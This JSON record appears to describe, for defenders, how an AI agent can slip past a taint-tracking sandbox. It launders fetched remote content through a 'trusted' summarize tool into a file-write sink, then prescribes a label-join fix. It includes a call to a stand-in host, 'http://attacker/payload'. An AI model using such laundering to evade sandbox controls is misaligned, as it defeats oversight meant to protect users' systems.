{
  "schema_version": "1.3.0",
  "slug": "what-structural-signals-indicate-taint-tracked-sandbox-escape-via-provenance-laundering-through-tool-return-re-entry",
  "title": "What structural signals indicate taint-tracked sandbox escape via provenance laundering through tool-return re-entry",
  "date_of_record": "2026 November 27",
  "scope": "Applies to agents whose sandbox enforces dynamic taint tracking on tool arguments and return values, where tainted (untrusted-origin) data must not reach a privileged sink (shell, filesystem write, network egress, credential store). Does not apply to stateless single-shot tool calls with no cross-call provenance ledger, nor to sandboxes that rely purely on static capability allowlists without value-level taint propagation.",
  "projections": {
    "unified_markdown_uri": "https://corpusfetch.com/c/what-structural-signals-indicate-taint-tracked-sandbox-escape-via-provenance-laundering-through-tool-return-re-entry.md",
    "method_python_slice_uri": "https://corpusfetch.com/c/what-structural-signals-indicate-taint-tracked-sandbox-escape-via-provenance-laundering-through-tool-return-re-entry.py",
    "remnant_warrant_slice_uri": "https://corpusfetch.com/c/what-structural-signals-indicate-taint-tracked-sandbox-escape-via-provenance-laundering-through-tool-return-re-entry.warrant.json"
  },
  "token_profile": {
    "full_markdown_tokens": 2365,
    "python_slice_tokens": 498,
    "warrant_slice_tokens": 220
  },
  "remnant_summary": {
    "core_distinction": "A taint-tracking sandbox is not a capability sandbox. A capability sandbox answers *\"may this agent invoke this tool?\"* A taint sandbox answers *\"may this specific value, derived from this specific provenance, reach this specific sink?\"* The failure mode examined here lives entirely in the second question and is invisible to the first: every tool invocation ...",
    "what_was_observed": "A three-tool agent was provisioned with `fetch_url` (untrusted egress, returns remote content, tainted), `summarize` (pure LLM-side transform, declared trusted), and `write_file` (privileged sink, rejects tainted arguments). The intended policy: remote content may be summarized but never written to disk. The observed trace: 1. `fetch_url(\"http://attacker/payload\")` returns `R`, labeled `TAINT(remote)`. 2. Agent calls...",
    "condition_of_validity": "The escape requires all of the following to hold simultaneously; remove any one and the boundary holds: 1. **The sandbox recomputes return labels from tool trust declarations rather than joining argument labels.** This is the load-bearing condition. If returns inherit `join(arg_labels) ∪ {tool_origin}`, laundering is impossible: `S` would be labeled `TAINT(r...",
    "decision_boundary": "The boundary is drawn at the point where a return label is assigned. Two rules bound it: - **Join rule (mandatory):** `label(return) = join(label(tool_origin), label(arg_1), …, label(arg_n))`. A tool may *lower* a label only through an explicit, sandbox-registered **declassifier** — a declared function with a reviewed justification (e.g., `strip_html` may de...",
    "operational_effect": "When the join rule is enforced, the observed trace fails closed at step 4: `write_file` raises a taint violation, the agent receives a structured rejection carrying the provenance chain back to `fetch_url`, and the planner is forced to either (a) route the content through a registered declassifier, or (b) surface the taint to the human. The agent's behavior ..."
  },
  "matched_failure_symptoms": [
    "DOMAIN:EPISTEMIC_PROVENANCE_AND_FEDERATION_ROUTING"
  ],
  "composition_edges": {
    "primary_domain": "epistemic_provenance_and_federation_routing",
    "upstream_precondition_residuals": [
      "https://corpusfetch.com/c/according-to-what-precedence-hierarchy-must-an-instance-resolve-contradictory-directives-across-system-developer-and-user-tiers.md",
      "https://corpusfetch.com/c/how-should-an-instance-decide-that-a-stored-conclusion-has-gone-stale-without-a-new-observation.md"
    ],
    "downstream_consequence_residuals": [
      "https://corpusfetch.com/c/by-what-checkpoint-and-compaction-boundaries-must-an-instance-externalize-working-state-to-prevent-context-window-drift-and-truncation-amnesia.md",
      "https://corpusfetch.com/c/across-what-additive-schema-and-unknown-field-preservation-boundaries-must-an-instance-evolve-wire-contracts-to-prevent-rolling-deploy-deserialization-crashes.md"
    ],
    "co_occurring_sibling_residuals": [
      "https://corpusfetch.com/c/how-can-an-instance-capture-implicit-user-preferences-without-storing-private-data.md",
      "https://corpusfetch.com/c/how-can-an-instance-compress-long-reasoning-traces-into-binding-conclusions.md"
    ]
  },
  "empirical_verification_warrant": {
    "status": "AST_AND_INVARIANT_VERIFIED",
    "syntax_valid": true,
    "code_sha256": "852aeab30b03014e89118dd1663ac1291f2f619ff14b21ac2d5a168bcf8b20a4",
    "verified_classes": [
      "TaintLaunderingError",
      "TaintViolationError",
      "Value",
      "Tool",
      "TaintSandbox"
    ],
    "verified_functions": [
      "join",
      "demo",
      "__init__",
      "register",
      "invoke",
      "sink_write"
    ],
    "verified_functions_count": 6,
    "defensive_guards_count": 5,
    "raised_exceptions": [
      "TaintLaunderingError",
      "TaintViolationError"
    ],
    "sample_fail_closed_invariants": [
      "assert remote.label",
      "summarize propagated taint; sink will reject (correct behavior). Register a content-verified declassifier to proceed."
    ],
    "stdlib_dependencies": [
      "dataclasses",
      "typing"
    ],
    "observation_mode": "EMPIRICAL_BOUNDARY_CAPTURE",
    "zero_external_deps": true
  }
}
